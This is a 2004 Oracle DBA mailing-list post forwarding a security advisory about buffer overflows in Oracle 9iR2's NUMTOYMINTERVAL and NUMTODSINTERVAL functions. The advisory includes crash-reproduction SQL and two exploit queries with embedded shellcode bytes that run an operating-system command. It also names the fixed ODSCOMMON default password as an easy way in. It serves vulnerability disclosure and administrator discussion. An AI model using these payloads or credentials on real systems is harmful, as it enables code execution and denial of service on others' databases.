[NEWS] Oracle Database 9ir2 Interval Conversion Buffer Overflow

  • From: Jared.Still@xxxxxxxxxxx
  • To: oracle-l@xxxxxxxxxxxxx
  • Date: Thu, 26 Feb 2004 10:18:15 -0800

Has anyone here heard of this?

First I've seen it.  Could not get the exploit to work on 8i or 9i, 
haven't tried 10g.

It does however cause an ORA-3113.

Jared

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Oracle Database 9ir2 Interval Conversion Buffer Overflow 
Oracle Database Server is one of the most used database servers in the 
world, it was marketed as being unbreakable and many people thinks that is 
one of the most secure database server in the market. 

Oracle Database Server provides two functions that can be used with PL/SQL 
to convert numbers to date/time intervals, these functions have buffer 
overflow vulnerabilities. 
Vulnerable Systems: 
 * Oracle Database version 9ir2 and prior 

When any of these conversion functions are called with a long string as a 
second parameter a buffer overflow occurs. 

To reproduce the overflow execute the next PL/SQL: 
SELECT NUMTOYMINTERVAL(1,'longstringhere') from dual; 
SELECT NUMTODSINTERVAL(1,'longstringhere') from dual; 

Any Oracle Database user can exploit this vulnerability because access to 
these functions can't be restricted. Exploitation of this vulnerability 
allow an attacker to execute arbitrary code, also it can be exploited to 
cause DOS (Denial of service) killing Oracle server process. An attacker 
can complete compromise the OS and database if Oracle is running on 
Windows platform, because Oracle must run under the local System account 
or under an administrative account. If Oracle is running on *nix then only 
the database could be compromised because Oracle runs mostly under oracle 
user which has restricted permissions. 

Important: Exploitation of these vulnerabilities becomes easy if Oracle 
Internet 
Directory has been deployed, because Oracle Internet Directory creates a 
database user called ODSCOMMON that has a default password ODSCOMMON, this 
password can not be changed, so any attacker can use this user to connect 
to database and exploit these vulnerabilities. 

Full tests on Oracle database 9ir2 under Microsoft Windows 2000 Server and 
Linux confirm these vulnerabilities. Versions running in other OS 
platforms are believed to be affected too. Previous Oracle Database Server 
versions could be affected by these vulnerabilities. 

Exploits: 
-- These exploits should work on Windows 2000 Server and Windows XP, not 
tested on Windows 2003. 
-- Run any command at the end of the string 
SELECT 
NUMTOYMINTERVAL(1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR' || 
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || 
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) 
|| chr(148) || chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || 
chr(148) || chr(01) || chr(32)||'echo ARE YOU SURE? >c:\Unbreakable.txt') 
?FROM DUAL; 

SELECT 
NUMTODSINTERVAL(1,'AAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDEFGHIJKLMNOPQR' || 
chr(59) || chr(79) || chr(150) || chr(01) || chr(141) || chr(68) || 
chr(36) || chr(18) || chr(80) || chr(255) || chr(21) || chr(52) || chr(35) 
|| chr(148) || chr(01) || chr(255) || chr(37) || chr(172) || chr(33) || 
chr(148) || chr(01) || chr(32) || 'echo ARE YOU SURE? 
>c:\Unbreakable.txt') ? 

FROM DUAL; 

Vendor Fix: 
Go to Oracle Metalink site, http://metalink.oracle.com. 

Vendor Contact: 
Oracle was contacted and they released a fix without telling the public 
nor Ceaser anything and without issuing an alert. 
Additional Information: 
The information has been provided by Cesar. 
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